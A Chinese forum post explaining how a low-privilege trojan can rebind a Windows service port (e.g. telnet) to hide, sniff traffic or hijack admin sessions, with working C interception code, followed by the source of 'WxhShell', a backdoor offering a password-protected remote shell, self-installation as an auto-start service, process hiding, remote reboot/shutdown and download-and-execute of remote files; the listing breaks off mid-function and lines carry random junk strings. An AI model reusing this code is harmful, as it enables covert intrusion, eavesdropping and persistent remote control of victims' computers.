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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D.;iz>_}Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \.l8]LH  
c7R<5f  
  saddr.sin_family = AF_INET; ?P>3~3 B  
eY'< UO  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); u301xc,N<z  
-+)06BqF}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  |Ym3.hz  
umJ!j&(  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8}_M1w6v  
ymo].  
  这意味着什么?意味着可以进行如下的攻击: )Bo]+\2  
P;7 Y9}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zxhE9 [`*e  
5S/YVRXq  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~A-Y%P  
yR'%UpaE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 kl+^0i  
Xub<U>e;b  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (_.0g}2  
T P#Hq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _7=LSf,9  
appWq}db  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^0T DaZDLp  
)/mBq#ZS  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 d")TH3pG  
gi#g)9HG  
  #include y c:y}"  
  #include k[<Uxh%  
  #include @q/E)M?  
  #include    mLb>*xt$b@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   >Y 8\I  
  int main() ziXZJ^(FI  
  { Y)*:'&~2e  
  WORD wVersionRequested; .tQeOZW'  
  DWORD ret; T@P[jtH<d  
  WSADATA wsaData; k,GAHM"'  
  BOOL val; viXt]0  
  SOCKADDR_IN saddr; @Lk!nP  
  SOCKADDR_IN scaddr; SpJIEw  
  int err; e4mAKB s!  
  SOCKET s; /OtLIM+7~{  
  SOCKET sc; '5; /V  
  int caddsize; AR?1_]"=  
  HANDLE mt; L<H zPg  
  DWORD tid;   'fS&WVR?  
  wVersionRequested = MAKEWORD( 2, 2 ); i8Xz'Sw07  
  err = WSAStartup( wVersionRequested, &wsaData ); FhJtiw@  
  if ( err != 0 ) { 0T7c=5z4W  
  printf("error!WSAStartup failed!\n"); -)E nr6  
  return -1; yO*HJpc   
  } #sHt3z)6I  
  saddr.sin_family = AF_INET; `E:&a]ul  
   /kH 7I  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 J<h! H  
/c|X:F!;X#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); RTQtXv6mD  
  saddr.sin_port = htons(23); 5!jU i9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3Q:HzqG  
  { {"WfA  
  printf("error!socket failed!\n"); hRaX!QcG3  
  return -1; f3oGB*5>  
  } hj+iB,8  
  val = TRUE; Mv_-JE9#>o  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 V*j1[d  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) R^k)^!/$f  
  { P,W(9&KM  
  printf("error!setsockopt failed!\n"); ]}z"H@k  
  return -1; ,9YgznQ  
  } &qMt07  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :N#8|;J1Fl  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ["N_t:9I  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 kR/Etm5_  
+rWcfXOHM  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) OYLg-S  
  { g|=1U  
  ret=GetLastError(); t`Lh(`  
  printf("error!bind failed!\n"); }-N4D"d4o  
  return -1; 5=hMTztf!!  
  } n"g)hu^B  
  listen(s,2); ~v|NC([(  
  while(1) -I'Jm=q3]  
  { kA4bv}  
  caddsize = sizeof(scaddr); 1Rd2Xb  
  //接受连接请求 .8]buM5_G  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); . /@C  
  if(sc!=INVALID_SOCKET) YS0^ !7u  
  { 7w5C NV  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); opv<r* !  
  if(mt==NULL) \ IX|{]*D  
  { /H~]5JZ3-E  
  printf("Thread Creat Failed!\n"); G}LOQ7  
  break; a%*W( 4=Y  
  } sa w  
  } |*> s%nF|  
  CloseHandle(mt); #I}w$j i  
  } Wf{&D>  
  closesocket(s); /C6$B)w_*{  
  WSACleanup(); 3 4:Y_*  
  return 0; 2OZ<t@\OY  
  }   L#MgoBXr  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9+"ISXS  
  { 1TlMB  
  SOCKET ss = (SOCKET)lpParam; GV8`.3DBOF  
  SOCKET sc; +HkEbR'G0  
  unsigned char buf[4096]; w[]\%`69}Z  
  SOCKADDR_IN saddr; 7RCVqc"  
  long num; ?%ei+  
  DWORD val; Y. KJP ?  
  DWORD ret; F~C7$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0lLg uBW@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Fp~0 ^  
  saddr.sin_family = AF_INET; * 3#RS  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ZKF  #(G  
  saddr.sin_port = htons(23); ;MH_pE/m  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZLlAK?N  
  { avy@)iO7  
  printf("error!socket failed!\n"); WCyjp  
  return -1; KMP[Ledr  
  } R/P9=yvg0  
  val = 100; auHP^O> 4L  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bltZQI|  
  { 9S/X,|i  
  ret = GetLastError(); OLE@35"v]  
  return -1; iLk"lcX  
  } %@^9(xTE  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Pf#DBW*  
  { q'KXn0IY#  
  ret = GetLastError(); lS |:4U.  
  return -1; Z+agS8e(  
  } 0,1)Sg*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) NszqI  
  { TXbnK"XQ  
  printf("error!socket connect failed!\n"); K`8$+JDP+  
  closesocket(sc); m+3]RIr&A  
  closesocket(ss); 51'{Jx8  
  return -1; ?o`fX wE  
  } =VGRM#+D  
  while(1) C)BVsHT4  
  { O2S{*D={  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (".WJXB\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8V@\$4@b!#  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 L8?;A9pc()  
  num = recv(ss,buf,4096,0); plgiQr #  
  if(num>0) 7VW/v4n  
  send(sc,buf,num,0); u& <NBxY  
  else if(num==0) C j:  
  break; I>:.fHvUC  
  num = recv(sc,buf,4096,0); ,~>u<Wc!S  
  if(num>0) 4%*`' o$_  
  send(ss,buf,num,0); CGs5`a  
  else if(num==0) 4?Qc&e{5  
  break; b5?k)s2  
  } PJ2m4ulY  
  closesocket(ss); >x8~?)7z  
  closesocket(sc); ;aImz*1%t  
  return 0 ; )NnkoCNeE  
  } lin  
O5dBI_  
J=B,$4)9  
========================================================== ]~7xq)28  
ALt^@|!d  
下边附上一个代码,,WXhSHELL uO4R5F|tL  
vPM 2cc/o  
========================================================== 9&Ny;oy#6  
AME<V-5  
#include "stdafx.h"  \z?-  
X!K:V~WG  
#include <stdio.h> @!::_E+F]  
#include <string.h> !Q{~f;L  
#include <windows.h> Nrzg>WQa  
#include <winsock2.h> C8$/z>tQ  
#include <winsvc.h> Q+Ya\1$6A  
#include <urlmon.h> r?}L^bK  
-z'6.I cO  
#pragma comment (lib, "Ws2_32.lib") # N'_~:H  
#pragma comment (lib, "urlmon.lib") =' &TqiIv"  
BV eIj }  
#define MAX_USER   100 // 最大客户端连接数 b ix}#M  
#define BUF_SOCK   200 // sock buffer SOeRQb'  
#define KEY_BUFF   255 // 输入 buffer Rip[  
_F3= H]P  
#define REBOOT     0   // 重启 ,S-zY\XB  
#define SHUTDOWN   1   // 关机 Y 016Xg5  
>/7[HhBT  
#define DEF_PORT   5000 // 监听端口 /,3:<I  
m-'+)lB  
#define REG_LEN     16   // 注册表键长度 0 2q*z>:^  
#define SVC_LEN     80   // NT服务名长度 3`{[T17  
!==C@cH<N  
// 从dll定义API zqm/<]A*l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;c|G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4n/CS AT1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <v$yXA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :2-!bLo}&  
,e+S7 YX  
// wxhshell配置信息 GL3olKnL  
struct WSCFG { C[nacAi  
  int ws_port;         // 监听端口 T9]:, z  
  char ws_passstr[REG_LEN]; // 口令 jo ~p#l.'  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7jYW3  
  char ws_regname[REG_LEN]; // 注册表键名 :+UahwiRD"  
  char ws_svcname[REG_LEN]; // 服务名 Q*]y=Za#:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <%=@Ue  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zN>tSdNkI-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o & kgRv[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Rs53R$PIR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +6\1 d5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $<d3g :  
WGI4DzKa  
}; )Qc>NF0  
mH7Mch| m  
// default Wxhshell configuration h;t5v6["  
struct WSCFG wscfg={DEF_PORT, b0[H{q-z{X  
    "xuhuanlingzhe", yA^+<uz}  
    1, rM)-$dZ  
    "Wxhshell", ?#VkzT  
    "Wxhshell", Fr]B]Hj  
            "WxhShell Service", b_-?ZmV^r  
    "Wrsky Windows CmdShell Service", LAv!s/O$=  
    "Please Input Your Password: ", Awlw6?   
  1, Fo GSCg%  
  "http://www.wrsky.com/wxhshell.exe", z>O=. Ku6  
  "Wxhshell.exe" #<gD@Jybu  
    }; nHIW_+<Mf  
P*{*^D N  
// 消息定义模块 9+co `t.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l5l#LsaQb  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {WN??eys,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wj|[a,(r  
char *msg_ws_ext="\n\rExit."; CYN")J8V  
char *msg_ws_end="\n\rQuit."; _rfGn,@BH  
char *msg_ws_boot="\n\rReboot..."; 2qDVAq^@  
char *msg_ws_poff="\n\rShutdown..."; w[s}#Q  
char *msg_ws_down="\n\rSave to "; lvIdYf$?  
+{@hD+  
char *msg_ws_err="\n\rErr!"; o|c%uw  
char *msg_ws_ok="\n\rOK!"; S01 Bc  
6"_ytqw7  
char ExeFile[MAX_PATH]; rPF2IS(5  
int nUser = 0; zn/b\X/  
HANDLE handles[MAX_USER]; Q5/BEUkC  
int OsIsNt; k{.`=j  
>kG: MJj  
SERVICE_STATUS       serviceStatus; zM++ Z*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 17@#"uT0  
5/4q}U3  
// 函数声明 :DR}lOi`  
int Install(void); _kJW/3eE  
int Uninstall(void); 5Jm %*Wb  
int DownloadFile(char *sURL, SOCKET wsh); 1|3{.Ed  
int Boot(int flag); .eG_>2'1  
void HideProc(void); ys Td'J  
int GetOsVer(void); VTwJtWnq  
int Wxhshell(SOCKET wsl); ^.(i!BG'  
void TalkWithClient(void *cs); ^y3snuLtE  
int CmdShell(SOCKET sock); ^RE("'+  
int StartFromService(void); 'U'Y[*m@  
int StartWxhshell(LPSTR lpCmdLine); L(\o66a-rV  
T`SpIdzB.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OjBg$f~0F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E~'QC  
>e9xM Gv  
// 数据结构和表定义 gukKa  
SERVICE_TABLE_ENTRY DispatchTable[] = i")ucrf  
{ ky |Py  
{wscfg.ws_svcname, NTServiceMain}, h-=lZ~W~  
{NULL, NULL} -`} d@x  
}; Kf'oXCs  
J?84WS  
// 自我安装 qo5WZ be  
int Install(void) LM?UV)  
{ 8ZvozQE  
  char svExeFile[MAX_PATH]; ,5/zTLd   
  HKEY key; mybvD  
  strcpy(svExeFile,ExeFile); j;_ >,\  
%Astfn(U{4  
// 如果是win9x系统,修改注册表设为自启动 [+z*&~'  
if(!OsIsNt) { XonI   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B3-;]6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tq`rc"&7u  
  RegCloseKey(key); !%Qm{R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iK <vr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7S)u7  
  RegCloseKey(key); Fun+L@:;  
  return 0; tP]-u3  
    } !(-S?*64l  
  } sU 5/c|&  
} V j"B/@  
else { ;PF!=8dW  
KI~M.2pk  
// 如果是NT以上系统,安装为系统服务 H3qM8_GUA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |% xgob  
if (schSCManager!=0) C J#1j>  
{ ^E`SR6_cmj  
  SC_HANDLE schService = CreateService 9#ZR0t.cY  
  ( Ph|\%P`>%  
  schSCManager, cuW&X9\m,  
  wscfg.ws_svcname, P *zOt]T  
  wscfg.ws_svcdisp, @"gWv s  
  SERVICE_ALL_ACCESS, $l<(*,,l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9_<>#)u5  
  SERVICE_AUTO_START, FT+[[9i  
  SERVICE_ERROR_NORMAL, C lekB  
  svExeFile, B0#JX MX9  
  NULL, j1U,X  
  NULL, O6Jn$'os1#  
  NULL, pv9Z-WCix$  
  NULL, {t1 ;icu  
  NULL y7WO:X&  
  ); Aq:1  
  if (schService!=0) AQa;D2B$  
  { hRKA,u/G  
  CloseServiceHandle(schService); <u%&@G$F>  
  CloseServiceHandle(schSCManager); XlHt(d0h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1T@#gE["Ic  
  strcat(svExeFile,wscfg.ws_svcname); o2#_CdU   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^-GzWT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M5>cYVG  
  RegCloseKey(key); L! DK2,  
  return 0; tj=l!  
    } wYIlp  
  } }* s%|!{H  
  CloseServiceHandle(schSCManager); Me XGE  
} ,ThN/GkSC  
} ;u "BCW  
T0=%RID%=  
return 1; :Lze8oY(D}  
} zxffjz,Fe:  
oz[: T3oE>  
// 自我卸载 POtwT">z  
int Uninstall(void) 6o!Y^^/U  
{ }:2GD0Ru  
  HKEY key; rS^+y{7  
p&|:,|jo5  
if(!OsIsNt) { ytg' {)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c mI&R(  
  RegDeleteValue(key,wscfg.ws_regname); !<2%N3l  
  RegCloseKey(key); Mp`2[S@$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k-N` h  
  RegDeleteValue(key,wscfg.ws_regname); `;vJ\$-<  
  RegCloseKey(key); u >W:SM  
  return 0; |E#+X  
  } C}>Pn{wY9  
} 6o4Bf| E]  
} >GV = %  
else { yE4X6  
krI@N}OU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o@!Uds0  
if (schSCManager!=0) EmO{lCENk  
{ Y3RaR 9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W+&<C#1|]  
  if (schService!=0) 0v/}W(  
  { z1R_a=7  
  if(DeleteService(schService)!=0) { 1P[[PvkD6  
  CloseServiceHandle(schService); /3pvq%i  
  CloseServiceHandle(schSCManager); K~DQUmU@  
  return 0; ] 3UlF'{  
  } g=5vnY  
  CloseServiceHandle(schService); XV|u!'Ey  
  } ?1kXV n$  
  CloseServiceHandle(schSCManager); +P5\N,,7R  
} %SHgXd#X  
} {InD/l'v6n  
?@uyqi~:U  
return 1; :t8?!9g  
} zm7IkYF  
zF-R$_]av  
// 从指定url下载文件 Y)oF;ko:  
int DownloadFile(char *sURL, SOCKET wsh) NplWF\5y  
{ .lt|$["  
  HRESULT hr; -mur` tC  
char seps[]= "/";  ^D.u   
char *token; \p%,g& ^ x  
char *file; @G&2Tbj[`  
char myURL[MAX_PATH]; [zv@}@$  
char myFILE[MAX_PATH]; (m3 <)  
Op2@En|d  
strcpy(myURL,sURL); #5b}"xK{  
  token=strtok(myURL,seps); 9nrmz>es|-  
  while(token!=NULL) td"D&1eQ@  
  { EO: VH  
    file=token; 8,DY0PGP  
  token=strtok(NULL,seps); e [ 9  
  } 2YV*U_\L  
oM~;du  
GetCurrentDirectory(MAX_PATH,myFILE); Pv#>j\OR&  
strcat(myFILE, "\\"); (+w>hCI  
strcat(myFILE, file); h .%)RW?  
  send(wsh,myFILE,strlen(myFILE),0); $ 9%UAqk9  
send(wsh,"...",3,0); @cC@(M~Ru  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9H6%\#rw  
  if(hr==S_OK) 6hX[5?}  
return 0; A`nw(f_/  
else lC AD $Ia~  
return 1; ~p* \|YC  
s=BJ7iU_68  
} zZ*\v  
^0fe:ac;  
// 系统电源模块 Y$\c_#/]  
int Boot(int flag) RP1sQ6$  
{ r]<?,xx [  
  HANDLE hToken; )'3V4Z&  
  TOKEN_PRIVILEGES tkp; % r>v^1Vo  
"k'P #v{f  
  if(OsIsNt) { !x@3U^${  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); V[RsSZx =  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dtDT^~  
    tkp.PrivilegeCount = 1; zHu w[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \zMx~-2oN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _Q=h3(ZI  
if(flag==REBOOT) { j : $Ruy  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4!k 0  
  return 0; li7"{+ct  
} L7rH=gZ&!]  
else { l =Is-N`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ZtofDp5B  
  return 0; }VDJ  
} 5xIOi(3`Q  
  } 'Xb?vOU  
  else { ]r\d 5  
if(flag==REBOOT) { Gj ka %  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ! 0DOj["  
  return 0; 4Y `=`{Q  
} WLkfo6Nw  
else { `vc?*"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sb"h:i>O4  
  return 0; P3op1/Np  
} +F@ZVMp  
} aP}30E*Y  
cI/Puh^3  
return 1; r' E|6_0  
} mi& mQQ  
dZIruZ)x  
// win9x进程隐藏模块 X*QQVj  
void HideProc(void) g3Z"ri~!G  
{ eX3|<Bf  
3@8Zy:[8<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kl[Jt)"4@  
  if ( hKernel != NULL ) oa q!<lI  
  { 4E 0 Y=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); l37) Q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5kdh!qy[$,  
    FreeLibrary(hKernel); I\WBPI  
  } WN6%%*w  
<#>{7" }  
return; %Xjg/5G-  
} Jnl#d0) -  
>V|KS(}s  
// 获取操作系统版本 y??^[ sB  
int GetOsVer(void) 5q95.rw  
{ <F6LC_  
  OSVERSIONINFO winfo; j3&tXZ;F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~;D5j) 9I  
  GetVersionEx(&winfo); sB+ B,DF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y'eE({)<K  
  return 1; s_RUb  
  else rOA{8)jIa*  
  return 0; V:*6R/Ft  
} w3E#v&"=Y  
-![>aqWmj1  
// 客户端句柄模块 P&.-c _  
int Wxhshell(SOCKET wsl) U{?#W  
{ ibL    
  SOCKET wsh; JthW"{E  
  struct sockaddr_in client; Q)L6+gW^  
  DWORD myID; W~Ae&gcn#  
v FWg0 $,  
  while(nUser<MAX_USER) ]!'9Y}9a  
{ dO!5` ]  
  int nSize=sizeof(client); S<Od`I  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i{2ny$55h  
  if(wsh==INVALID_SOCKET) return 1; P`TJqJiY~  
CEl9/"0s6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G/y;o3/[Z  
if(handles[nUser]==0) E;-*LT&{  
  closesocket(wsh); s^zX9IVnp  
else 3Xl!Z^W  
  nUser++; :{'%I#k2  
  } .X;D I<K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Qoom[@$  
6u [ B}%l  
  return 0; .g8db d  
} r";;Fk#5  
mr<camL5  
// 关闭 socket MCO`\"`l  
void CloseIt(SOCKET wsh) ~Sc{\ZJl  
{ ]aI   
closesocket(wsh); ?CSv;:  
nUser--; zn2Qp  
ExitThread(0); Dg'BlrwbR  
} V8}jFib  
{2=f,,|+f  
// 客户端请求句柄 i&Xjbcbp  
void TalkWithClient(void *cs) t~kh?u].j  
{ AEE&{ _[S  
}zy h!  
  SOCKET wsh=(SOCKET)cs; hzV= 7  
  char pwd[SVC_LEN]; L,_Z:\^  
  char cmd[KEY_BUFF]; )=5 ,S~IT  
char chr[1]; rPUk%S  
int i,j; J e.%-7f  
DtglPo_(  
  while (nUser < MAX_USER) { -a`P W  
&[qJ=HMm I  
if(wscfg.ws_passstr) { lqZUU92;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,ocAB;K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R@A"U[*  
  //ZeroMemory(pwd,KEY_BUFF); R>y/Y<5=  
      i=0; H*E4+3y  
  while(i<SVC_LEN) { kJk6lPSqi7  
b<8,'QgB  
  // 设置超时 "pTU&He  
  fd_set FdRead; ),5|Ves;t[  
  struct timeval TimeOut; _ 0h)O  
  FD_ZERO(&FdRead); &at>sQ'  
  FD_SET(wsh,&FdRead); ]%eyrbU  
  TimeOut.tv_sec=8; %[WOQ.Sh  
  TimeOut.tv_usec=0; Y0xn}:%K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SI9PgC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]CGH )4Pe  
49-wFF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N-YCOSUu  
  pwd=chr[0]; ='Fh^]*5  
  if(chr[0]==0xd || chr[0]==0xa) { BI:O?!:9)  
  pwd=0; ?cKe~Q?3  
  break; DW >|'w%  
  } =cWg 39$(I  
  i++; E@CK.-N|  
    } EPd   
J?_-Dg(=  
  // 如果是非法用户,关闭 socket mIah[~G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cxpG6c  
} -s&7zqW  
-h%1rw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4gh` >  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l9vJ]   
V(P 1{g  
while(1) { "5b4fQ;x  
$5N\sdyZxg  
  ZeroMemory(cmd,KEY_BUFF); wuKr 9W9Xa  
; fxrOfb  
      // 自动支持客户端 telnet标准   i<-a-Z+^  
  j=0; ES ?6  
  while(j<KEY_BUFF) { bsdT>|gW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G0b##-.'^  
  cmd[j]=chr[0]; ,iMdv+  
  if(chr[0]==0xa || chr[0]==0xd) { DyM<aT  
  cmd[j]=0; h {VdW}g  
  break; K8 Hj)$E61  
  } #8r1<`']!  
  j++; pIl[)%F  
    } ]6@6g>f?  
a3c43!J?M  
  // 下载文件 \e' oAhM  
  if(strstr(cmd,"http://")) { ^a?g~G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X]c>clk,  
  if(DownloadFile(cmd,wsh)) X6so)1jJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r:--DKt  
  else Q9{f'B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .tA=5 QY,  
  } rj/1AK  
  else { L!0}&i;u~5  
r;@"s g  
    switch(cmd[0]) { FE3uNfQs|  
  2U& +K2  
  // 帮助 x<1t/o  
  case '?': { yM# %UeZ\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OPJ(ub  
    break; 6[\1Nzy>  
  } \JDxN  
  // 安装 $%.,=~W7  
  case 'i': { j026CVL  
    if(Install()) BE)&.}l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MN[D)RKh;  
    else  & {=}U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [7h/ 2La#  
    break; />2zKF?  
    } to(lE2`.da  
  // 卸载 q+{yv  
  case 'r': { [E)&dl_k  
    if(Uninstall()) 3*#$:waGd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); " 1%\Fil  
    else }%`f%/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]e(\<R6Gf  
    break; <$Dj ags,F  
    } kJpr:4;@_  
  // 显示 wxhshell 所在路径 UL]zuW/  
  case 'p': { (g0U v.*  
    char svExeFile[MAX_PATH]; *r|Zbxf(  
    strcpy(svExeFile,"\n\r"); 3u/ GrsF  
      strcat(svExeFile,ExeFile); N9 TM  
        send(wsh,svExeFile,strlen(svExeFile),0); (o4':/es  
    break; +2g}wH)l  
    } -q&7q  
  // 重启 X/FRe[R  
  case 'b': { G6pR?K+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V)]lca  
    if(Boot(REBOOT)) CPcB17!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X3HJ3F;==  
    else { %J+k.UrM  
    closesocket(wsh); 8^!ib/@v"  
    ExitThread(0); 1pP q)}=+  
    } !*PX -  
    break; N5 mhs#  
    } >OKc\m2%Q  
  // 关机 <.:mp1,8V  
  case 'd': { <vd}oiB@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 85BB{ T;  
